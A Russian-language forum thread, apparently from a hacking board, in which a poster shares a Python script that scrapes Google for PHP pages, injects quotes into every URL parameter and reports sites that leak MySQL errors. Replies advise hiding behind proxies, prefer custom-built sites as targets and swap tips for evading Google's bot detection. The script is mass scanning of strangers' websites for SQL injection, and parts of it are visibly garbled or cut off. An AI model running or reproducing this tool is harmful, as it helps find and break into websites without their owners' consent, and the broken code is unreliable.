Очевидно, не я первый задумался о этом, но т.к. ничего особо подобного не нашел, то набросал скрипт на питоне, который парсит результаты гугла, находит ссылки php, вставляет во все параметры кавычки и смотрит произошла ли там ошибка. По умолчанию 10 потоков, 5 страниц, 100 результатов на страницу, показываются только положительные срабатывания. Пример использования (будет парсить выдачу по запросу "heck the world"):

python autosqli.py heck the world​

[CODE]
# -*- coding: utf-8 -*-
import sys, os, re, time, string, urllib2, cookielib, threading, Queue

limit = 5
thread_count = 10

bypass = ['showthread.php', 'viewtopic.php', 'viewforum.php', 'forumdisplay.php', 'forum.php', 'showtopic']
error_values = ['You have an error in your SQL syntax', 'mysql_fetch_array',
'mysql_fetch_assoc', 'mysql_num_rows', 'mysql_fetch_row',]

headers = {'User-Agent' : 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.6) Gecko/20100627 Firefox/3.6.6',
'Accept' : 'text/html',
'Accept-Language' : 'en-us',
'Accept-Charset' : 'utf-8',
'Connection' : 'Close'}

print "Auto SQLi Google Parser"
if len(sys.argv) "
exit(0)

query = string.join(sys.argv[1:])
print "[i] pages to parse: %d" % limit
print "[i] threads: %d" % thread_count
print "[i] query: %s" % query
query = query.replace(' ', '+')

google_jar = cookielib.CookieJar()
google_opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(g oogle_jar))
google_opener.addheaders = zip(headers.keys(), headers.values())

injQueue = Queue.Queue()
injLock = threading.Lock()

class parseUrl(threading.Thread):
def run(self):
while 1:
result = []
url = injQueue.get()
if url == 'stop': return
url = url.split('&')
for param_num in xrange(len(url)):
url[param_num] += "'"
injUrl = "&".join(url)
injReq = urllib2.Request("&".join(url), None, headers)
try:
injResp = urllib2.urlopen(injReq, timeout = 10)
injResp = injResp.read()
except urllib2.HTTPError, e:
injResp = e
except:
continue
if [1 for val in error_values if val in injResp]:
result.append('[+] '+ injUrl)

url[param_num] = url[param_num][:-1]
injLock.acquire()
if result: print '\n'.join(result)
injLock.release()
injQueue.task_done()

for i in xrange(thread_count): parseUrl().start()

for i in xrange(limit):
req = google_opener.open('http://www.google.com/search?q=%s+filetype:php&start=%d&ie=utf-8&oe=utf-8&num=100' % (query, i*100))
resp = req.read()
urlList = re.findall('

можно добавить ошибки php функции.

mysql_fetch_array, mysql_fetch_assoc, mysql_num_rows, mysql_fetch_row

iv. Кое что можно почерпнуть отсюда: /thread20414.html

Плюс надо ковырять самописные движки этим скриптом, а не популярные форумы/цмски, которые будут очень часто находиться парсером

Без прокси такие подстановки кавычек делать - ой как не советую.

Код - ужасный, это не питон, а попытка кодинга на С/дельфи, но с функциями из питона. Перепишите

Вообще, не все инъекции выводят ошибку. Поэтому детектировать её можно таким способом:

На ходу при отправке сообщения придумал функцию на С++ для проверки инъекции.

Алгоритм прост, думаю, перепишешь на питон.

Ага, спасибо, добавил.

Ну, кстати, всякие находятся..в запросе же не скажешь, чтобы он только самописные искал.

Я думал сейчас у всех впн в моде, так что не стал поддержку проксей прикручивать..

Да уж, былые времена программинга на сях и асме дают знать. Изучаю функции питона подробней, хотя, работает же!

И ещё вопрос по поводу детекта машинных запросов гуглом. Вроде задержка 10 сек сначала спасала, а вот сейчас всё равно обломал. Какие ещё есть варианты?

2mailbrush

Ну, инъекции, которые не выводят ошибку - это уже совсем другая история.

Сюда же тогда ещё можно добавить проверку арифметических операций и т.д.

прокси + замена юзер-агента.

очистка куков

Прокси это лишний гемор, так что рассматривать буду в последнюю очередь.

Пробовал просто замену юзер агента, разумеется, не спасает.

А ведь при ручном просмотре выдачи у гугла никогда не возникало подозрение, что я машина.

у меня видoвал, отправь много запросов(ну не знаю сколько) и открывается google sorry

iv. гугл любит печеньки, заголовки и смену юзерагентов

Пропускать все страницы из популярных движков и форумов (типа вбуллетин, IPB, SMF, вордпресс) после первой загрузки